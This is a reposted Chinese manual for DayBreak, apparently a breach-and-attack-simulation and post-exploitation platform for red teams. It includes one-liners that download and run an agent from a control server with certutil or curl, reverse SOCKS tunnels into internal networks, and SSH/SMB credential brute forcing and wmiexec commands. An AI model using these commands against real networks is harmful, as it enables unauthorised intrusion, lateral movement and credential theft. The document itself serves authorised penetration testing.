内网使用工具斗象BAS DayBreak 破晓

DayBreak 工具安装和使用文档

DayBreak 介绍

一、简介

  • Breach and Attack Simulation (BAS) , 可以翻译成入侵和攻击模拟,入侵理解为自动化渗透测试,攻击模拟包含两个方面一个是对人员的测试,如钓鱼邮件,另一个是对现有的防御设备进行安全功能的检测。

  • 在2021年7月份,Gartner发布了《2021安全运营技术成熟度曲线》报告,对主流的安全运营技术进行了解读,并预测创新技术的发展阶段,而BAS是其中关注热度最高的技术。

  • 它的实践价值主要在于模拟人工的红蓝对抗,以可持续性、灵活的通过各种编排策略去 验证企业当前的安全纵深防御体系的有效性。

  • 斗象BAS DayBreak 破晓是业界首个免费版本,以企业安全人员&白帽子作为使用对象。 目前只专注在自动化渗透测试部分。

二、使用场景

  • 如网络安全攻防/红蓝对抗场景中,攻击队在利用漏洞拿到了WEBSHELL或主机权限, 通过运行本程序来对内网进行进一步的资产收集和渗透测试。

三、特性

  • 单一文件无依赖
    支持多平台(win, linux, macos)
    支持多CPU结构 (amd64, arm, x86, 386)
    主机IP存活识别
    端口扫描
    服务识别
    HTTP发现
    文件目录爆破
    WEB指纹识别
    Netbios 信息收集
    SMB信息收集
    服务弱口令爆破
    Yaml PoC扫描
    socks5反连内网穿透
    socks5正向代理服务
    常用客户端(ssh)
    

安装和激活DayBreak

一、下载 DayBreak

  • 前往https://daybreak.tophant.com/ 进行下载

  • img

二、安装 DayBreak

1.文件说明

  • 编号 路径 说明
    1 config.yaml 配置文件 自动生成
    2 nserver DayBreak 服务端
    3 data\web_deliver\nscan DayBreak Agent端
    4 license.lic License 文件,激活后自动生成

2.启动

  • windows 下

    • nserver_amd64.exe  server -tls
      
  • linux 下

    • chmod +x nserver_linux_amd64
      ./nserver_linux_amd64 server -tls
      
  • mac 下

    • chmod +x nserver_darwin_amd64
      ./nserver_darwin_amd64 server -tls
      
  • img

  • -tls 参数是让端口监听在ssl模式下,防止流量设备

  • 第一次启动会生成密码 如:init admin password: thfxmpok

  • 自动生成config.yaml 后,请修改platform_host地址为自己的对外IP 地址

    • 重启才生效
    • 访问 https://127.0.0.1:1337

3.端口

  • 2338 代理反连平台监听端口 1337 DayBreak 服务端 监听地址

三、 激活 DayBreak

  • 首次打开会进入激活页面,需要前往 https://daybreak.tophant.com/ 申请
  • 填入申请的License即可激活。
  • img

快速开始

一、 新建监听器

  • 进入监听管理页面,点击右边的创建监听器。

  • 监听器名称输入如:http

  • 监听器端口输入如:1338 , 请确保输入的端口没有被使用和有权限监听。

  • 协议类型选择HTTP

  • img

二、 安装探针

  • 在监听器页面,选择安装监听器操作,在弹出的对话框中选择根据实际情况选择对应的命令执行。

  • 在windows下有杀毒软件可能会被拦截。

  • 这里我选择的windows,在cmd中执行如下的命令

    • certutil -urlcache -gmt -split -f http://ip:1338/d/izdkjhzy izdkjhzy.exe && izdkjhzy.exe agent -u http://ip:1338 -s 83wgnp0d
      
  • 上面的命令先利用certutil 下载Agent,izdkjhzy 为服务端第一次启动时随机生成的文件名.

  • 再启动agent 子命令,其中83wgnp0dAgent和服务端通信加密密钥,也是服务端第一次启动时随机生成。

  • img

三、会话操作

  • 如果前面操作顺利,那么将会在服务端管理平台自动生成一条会话记录

  • img

  • 在会话操作中选择控制台,进入命令下发选项卡可以执行对应的命令,下面的截图是执行了whoami命令和ps 命令。

  • 默认情况下心跳时间为5s, 可以使用sleep 命令进行修改如输入sleep 1,将会将心跳时间修改为1s

  • img

管理平台功能说明

一、监听管理

  • 监听管理页面可以对监听器进行筛选,创建监听器,安装监听器,删除操作

  • 创建监听器操作,点击右上角的创建监听器操作按钮可以进行监听器的创建, 其他HTTPS 协议会使用自签名的证书,在对Agent进行下载时会出现证书不信任问题,如有需要可以替换 data/cert/中的证书文件 。

  • 安装探针操作,会进入安装探针引导页面,可以根据自己的情况进行操作

  • 删除监听器操作,对端口停止监听并删除对应的记录。

  • img

二、会话管理

  • 会话管理页面可以对会话进行筛选,进入控制台,关闭,删除操作
  • 进入控制台操作, 基本信息选项卡可以查看主机、IP、进程信息。文件目录选项卡可以对Agent文件进行查看上传下载等操作。 命令下发选项卡,可以执行30多种命令。 历史下载选项卡可以查看文件下载记录。
  • 关闭操作,对会话进行关闭,Agent进程会关闭,数据还会保留。
  • 删除操作,对会话记录数据进行删除。
  • img

三、文件中心

  • 文件中心功能是用来进行文件中转的,如果要对Agent上传文件,需要先把文件上传到文件中心,然后在控制台中选择文件进行上传。

  • img

四、Web Delivery

  • Web Delivery 功能是用来进行文件分享的,进行文件下载时是不需要进行身份认证的。安装探针时的Agent文件下载就是通过该功能实现。 实际使用中还可以上传自己的文件,可以让接收方方便下载。

  • img

五、任务管理

  • 任务管理页面可以对任务进行筛选,查看任务详情,新增任务,重启,删除操作。

  • 新增任务操作,可以进行任务下发。

  • 重启操作,可以对任务进行重启。

  • 删除操作,对任务数据进行删除。

  • img

  • 任务详情页面,可以查看本次扫描任务的结果

  • img

管理平台配置

一、 命令行参数

  • server 子命令用来启动服务端

  • nserver_amd64.exe server -h
    Usage of server:
      -c string
            config file path (default "config.yaml")
      -l string
            log file path (default: stdout) (default "-")
      -p int
            server listen port (default 1337)
      -tls
            Gin Server Use TLS(https) (default: false)
      -v string
            log level (zero, trace, debug, info, error) (default "info")
    
  • resetpassadmin用户密码进行重置

  • nserver_amd64.exe resetpass -h
    Usage of resetpass:
      -c string
            config file path (default "config.yaml")
      -p string
            admin new password
    

二、 重置admin 用户密码

  • 下面命令将admin密码修改为123456

  • nserver_amd64.exe resetpass -p 123456
    

三、 配置文件

  • 默认配置文件为config.yaml

  • #sqlite 文件保存路径
    sqlite_db_path: data/db
    #session 日志目录
    session_log_path: data/logs/session
    #web_deliver 文件保存目录
    web_delivery_path: data/web_deliver
    #文件中兴文件保存目录
    file_data_path: data/file
    #服务端和监听器web 日志
    gin_log_path: data/logs/gin
    #反向代理平台认证token, 第一次启动随机生成
    reverse_token: csgnp0kn
    #反向代理平台对外地址, 第一次启动后,请手动配置
    platform_host: 127.0.0.1
    #服务端API Token, 第一次启动随机生成
    api_token: v2s1ngtwg1ntad5xjoqj4lqtbgvyis6k
    #服务端JWT 密钥, 第一次启动随机生成
    jwt_secret: fy485yku
    #监听器数据加密密钥, 第一次启动随机生成
    listener_secret: 9gct38ud3
    #是否保存执行命令的命令到数据库,结果需要通过API 查看,不建议开启
    enable_command_save_db: false
    #服务端认证是否开启
    enable_auth: true
    #服务端和监听器web 证书保存目录
    cert_path: data/cert
    #反向代理平台监听端口
    reverse_proxy_server_port: 2338
    #验证码是否开启
    verify_captcha:true
    

四、 服务模式启动

  • linux 环境时,执行install.sh即可。

  • # 重启
    systemctl restart daybreak
    
    # 查看状态
    systemctl status daybreak
    
    # 停止
    systemctl stop daybreak
    

使用实例

一、扫描任务

  • 扫描步骤顺序

  • 主机存活
    Netbios识别
    端口扫描
    服务识别
    HTTP发现
    WEB指纹识别
    服务弱口令爆破
    文件目录爆破
    PoC扫描
    
  • 在任务管理界面点击新增加任务按钮,填入任务名称,目标站点,根据实际情况勾选选项即可。

  • 扫描目标可以为IP,IP段,子域名, 可同时下发多个,多个之间可以用逗号、空白符号分割

  • 其中WEB指纹识别可能会占用比较大的内存,扫描过程中在300M-1G内存浮动,也和目标网络站点数目相关。

  • img

二、 内网代理转发

1.简介

  • 使用rsocks命令可以轻松构建穿透内网的反向代理。

  • rsocks命令执行成功会在BAS 服务端监听一个端口,并建立socks5代理,可以反向代理到处于内网的Agent 网络中。

2.使用

  • Usage of rsocks:
      -A string
         反向代理平台地址
      -P string
         反向socks5 密码
      -U string
         反向socks5 用户名
      -p int
         反向socks5 监听端口 (default 2339)
      -x string
         上游代理socks5 地址,格式:socks5://ip:port
    
  • 创建反向socks5代理,监听端口为控制端上

    • -A 参数默认为 配置文件中的地址platform_host, 端口为:reverse_proxy_server_port -p 在DayBreak 服务端监听的端口 -x 上游代理socks5 地址,格式:socks5://ip:port, 用这个参数可以实现代理级联。

3.简单实例

1).启动
  • 请确保2339端口没有被占用,也就是如果需要建立多个反向代理需要使用-p参数指定不同的端口

  • rsocks -U admin  -P 123456 -p 2339
    
  • img

2).验证
  • curl -x socks5://admin:123456@vps:2339 https://www.baidu.com
    
  • vpsDayBreak 服务端的地址

  • curl baidu.com 的流量是从Agent出去的。

  • 下面是agent的日志

  • img

3).关闭
  • jobkill 2
    

三、不出网上线

  • 基本环境如下A,B主机在同一内网,A B 主机可以互通,当时B 主机无互联网权限。

  • 此时A主机已经上线,B主机存在命令执行漏洞

  • 先在A 主机上执行socks -p 3337, 将会在A主机上构建一个socks代理。

  • img

  • 在B主机上利用漏洞执行下面的命令,利用curl的加上代理下载探针文件, 再探针上线的时候配置代理即可上线。

  • curl -x socks5://AIP:3337 -skO http://VPS:8284/d/grx80p4x
    chmod +x grx80p4x
    ./grx80p4x  agent -x socks5://AIP:3337   -u http://VPS:8284
    -s gfee1m8z
    
  • 执行成功可以上线

  • img

四、不出网代理转发

  • 基本环境如下A,B主机在同一内网,A B 主机可以互通,当时B 主机无互联网权限。此时A, B 主机已经上线。

  • 在B主机上执行socks -p 3338, 将会在B主机上构建一个socks代理。

  • socks -p 3338
    
  • img

  • 在A主机上执行rsocks -p 8285 -x socks5://172.29.1.2:3338, 将会在VPS 上监听8285端口,流量出口先到达A 主机,然后再通过B主机的3338端口出去。

  • rsocks -p 8285 -x socks5://172.29.1.2:3338
    
  • img

  • 下面是B 主机上 的验证, 可以看到可以直接通过DayBreak服务端直接连接不出网主机B的本地端口1234

  • curl -x socks5://VPS:8285 http://127.0.0.1:1234
    
  • img

五、 内网C段快速探测

  • 如需要探测10.0.0.0/16 这个B 段中有那些使用的C段, 一般情况下B段地址不会全部使用,只会有少部分C段去使用,如果这个时候去扫描整个B 段将会比较耗时。

  • 目标就直接写10.0.0.0/16, 端口扫描选择top10, 并选择对应的会话。

  • 扫描配置选项如下,主机存活并发数目稍微调大了点。 并勾选了C 段IP地址随机扫描选项。取消勾选网站指纹识别。

  • img

  • 大概5分钟内探测完毕

  • img

  • 对C 段数据进行导出,可以通过任务详情 C 段选项,进行导出,再根据自己的情况进行下一步动作。

  • img

其他说明

一、Agent端操作系统支持表格

  • 序号 操作系统 CPU架构
    1 windows 386
    2 arm
    3 amd64
    4 linux arm
    5 amd64
    6 darwin arm64
    7 amd64

二、 控制中心支持命令表格

  • 序号 命令 语法 描述 示例
    1 cat cat 查看指定文件内容。 cat /etc/passwd
    2 cd cd 切换工作目录。 cd ../
    3 cp cp 对指定文件复制到新的指定位置
    4 download download [dst] 下载Agent上的指定文件到控制端的文件列表中,如果目标文件已经存在将会以.1结尾 download /etc/passwd passwd
    5 exec exec [args] 执行系统命令或运行指定程序。 别名: run exec whomai
    6 exist exist Agent进程退出 exist
    7 find find 根据给定的文件名匹配指定目录下的文件,会递归查找,其中匹配部分仅仅为文件名 find ./ test
    8 findhash findhash 根据指定Hash值匹配指定目录下的文件,会递归查找,其中Hash 支持 md5,sha1,sha256 会根据长度自动识别类型 findhash ./ 74050d53d6d360ceace2e24a101a64b1
    9 ifconfig ifconfig 查看ip地址等信息 别名: ipconfig, ip ifconfig
    10 jobkill jobkill 结束正在运行的任务 jobkill 1
    11 jobs jobs 查看正在执行的任务信息,只有下面的命令才可以查看 exec、rsocks5、socks5、scan、download、find、findhash jobs
    12 ls ls [path] 查看指定目录的文件列表信息 ls
    13 lsroot lsroot 显示磁盘盘符 lsroot
    14 mkdir mkdir 创建指定目录,如果父目录不存在将会自动创建 mkdir ./ab/cd
    15 mv mv 对指定路径进行重命名 别名:rename mv ab.txt cd.txt
    16 netstat Usage of netstat: -a 显示所有的sock 信息 -ip string 对IP进行过滤 -p 显示进程的物理路径信息 查看网络连接信息,仅仅支持linux netstat
    17 ps ps 获取进程列表信息 ps
    18 pwd pwd 打印当前工作目录 pwd
    19 rm rm 删除指定文件 rm test
    20 rmdir rmdir 删除指定目录,会递归删除 rmdir ab
    21 rsocks Usage of rsocks: -A string 反向代理平台地址 -P string 反向socks5 密码 -U string 反向socks5 用户名 -p int 反向socks5 监听端口 (default 2339) -x string 上游代理socks5 地址 创建反向socks5代理,监听端口为控制端上 -A 参数默认为 配置文件中的地址platform_host, 端口为:reverse_proxy_server_port -p 在控制端监听的端口 rsocks
    22 scan Usage of scan: -brute 开启文件/目录爆破 -c int 端口扫描协程并发数 (default 30) -crack 开启服务弱口令爆破 -dN 禁用 NetBios 服务扫描 -s 跳过存活扫描 -erc 开启C 段IP生成, 对于掩码为[8-16)的目标IP地址,将会自动开启 -f 开启WEB指纹识别 -p string 扫描的端口 (default "top200") -pc int 主机存活并发数目 (default 20) -poc 开启yaml poc扫描 -pt int 端口扫描超时时间 (ms) (default 200) -rcn int C段随机数目 (default 20) -service 开启系统服务识别 -t string 扫描目标 执行主机发现,端口扫描,系统服务识别,弱口令爆破 HTTP站点发现,web指纹识别,文件/目录爆破,PoC扫描 等功能。 scan -t 192.168.0.0/24
    23 sleep sleep 设置 心跳包间隔,单位为s,默认为5S sleep 1
    24 socks -P string socks5 密码 -U string socks5 用户名 -p int socks5 监听端口 (default 2339) -x string 上游代理socks5 地址 创建socks5代理, 监听端口在Agent上 socks
    25 upload upload 上传文件类别中的文件到Agent上的指定位置,如果目标文件已经存在将会打印错误信息 upload test.txt /tmp/test.txt
    26 whoami whoami 显示当前用户名 whoami
    27 smbcrack Usage of smbcrack: --CrackConcurrency int 弱口令爆破并发数 (default 8) --cc int 弱口令爆破并发数 (default 8) -d, --domain string 域名称 -H, --hash strings ntlm Hash -P, --password strings 密码 --pc int 端口扫描并发数 (default 30) -p, --port string scan port (default "445") --portConcurrency int 端口扫描并发数 (default 30) --portScanTimeout int 端口扫描超时时间(ms) (default 200) --pt int 端口扫描并发数 (ms) (default 200) -t, --target string 目标 -U, --username strings 用户名 (default [Administrator]) 通过smb协议对主机登录凭证进行爆破 smbcrack -P p@ssw0rd -t 192.168.1.0/24
    28 sshcrack Usage of sshcrack: --CrackConcurrency int 弱口令爆破并发数 (default 8) --at int ssh 认证超时时间 (s) (default 25) --cc int 弱口令爆破并发数 (default 8) -P, --password strings 密码 --pc int 端口扫描并发数目 (default 30) -p, --port string scan port (default "22,2222") --portConcurrency int 端口扫描并发数目 (default 30) --portScanTimeout int 端口扫描超时时间 (ms) (default 200) -i, --privateKeyFile string 私钥路径 --pt int 端口扫描超时时间 (ms) (default 200) -t, --target string 目标 --timeout int ssh 认证超时时间 (s) (default 25) -U, --username strings 用户名 (default [root]) 通过ssh协议对主机登录凭证进行爆破 sshcrack -t 192.168.1.0/24 -P root
    29 wmiexec Usage of wmiexec: -c, --cmd string 命令 -d, --domain string 域名称 -p, --pass string 密码 -t, --target string 目标 -u, --user string 用户名 (default "administrator") Agent 仅仅只对windows下有效 通过wmi协议,执行系统命令(需要管理员权限), 无回显 同一个主机,需要等上一条命令执行完,才能执行下一条命令 wmiexec -t 192.168.1.1 -u administrator -p p@ssw0rd -d domain.com -c calc
    30 curl Usage of curl: -d, --data string HTTP body 数据 -H, --header stringArray HTTP 首部数据 -X, --method string HTTP 请求方法 (default "GET") -o, --output string 输出保存到文件地址 (default "-") -x, --proxy string 代理设置 -u, --url string 请求URL -v, --verbose 显示请求信息和响应信息 一个类似于curl的简单命令 curl -u http://www.baidu.com -H "User-Agent: curl"
    31 cert Usage of cert: --conn-timeout int 连接超时时间 (default 3) -j, --out-json 使用json格式输出 -o, --output string 输出保存到文件地址 (default "-") --read-timeout int 读取超时时间 (default 10) -t, --target string 目标地址 获取服务器的证书信息 cert -t baidu.com:443

常见问题

一、 扫描任务中的C段IP地址随机扫描选项是什么作用

  • C段IP地址随机扫描,这个功能的含义是开启了这个后,C 段地址范围会随机选择20 个 IP去扫描。

  • 掩码长度少于等于16会强制开启。比如,我下发的目标 10.0.0.0/16 段,他这个有6万多个IP,这个IP太多了,费时间, 去扫描的时候那么只会扫描256*20 ,大概5千多个IP.

  • 这样可以较为快速的发现C段地址

二、 如何重置管理员密码

  • 下面命令将admin密码修改为123456

  • 以linux 平台为例

    • ./nserver_linux_amd64.exe resetpass -p 123456
      

三、 命令下发功能命令参数带空格怎么办

  • 如果参数中有空格请使用双引号包裹。

四、命令下发功能如何执行多条系统命令

  • exec 命令每次只允许一个程序,可以使用bash -c来执行多条命令。 如下会执行whoamipwd命令

  • exec bash -c "whoami;pwd"
    

五、一句话启动Agent失败怎么办

  • 举例在监听器看到的命令如下:

  • certutil -urlcache -gmt -split -f http://vps/d/izdkjhzy izdkjhzy.exe && izdkjhzy.exe agent -u http://vps -s xxxx
    
  • 可以通过浏览器下载 -f 参数指定的url, 然后再修改文件名后缀为exe, 再通过cmd 执行 && 后面的语句。

API

  • 访问 /swagger/index.html 可以查看swagger文档

  • img

  • config.yaml 配置文件中可以 查看api_token 字段用于方便调用API

  • api_token可以放在Querystring token 参数中也可以放在Header Token首部中。

更新日志

一、发布日志

v1.0.0 发布 (2022/11)

  • 首次发布

v1.1.0 发布 (2023/05)

  • 优化命令输出过多无法显示问题
  • 优化网速慢的情况下下载Agent失败问题
  • 优化 rsocks 命令稳定性
  • 添加 ms17010 探测
  • 探针安装命令优化
  • 添加smbcrack,sshcrack,wmiexec, curl, cert 命令
  • 修复探针安装页面语句显示乱序问题 #5
posted @ 2023-09-04 00:49  树大招疯  阅读(138)  评论(0编辑  收藏  举报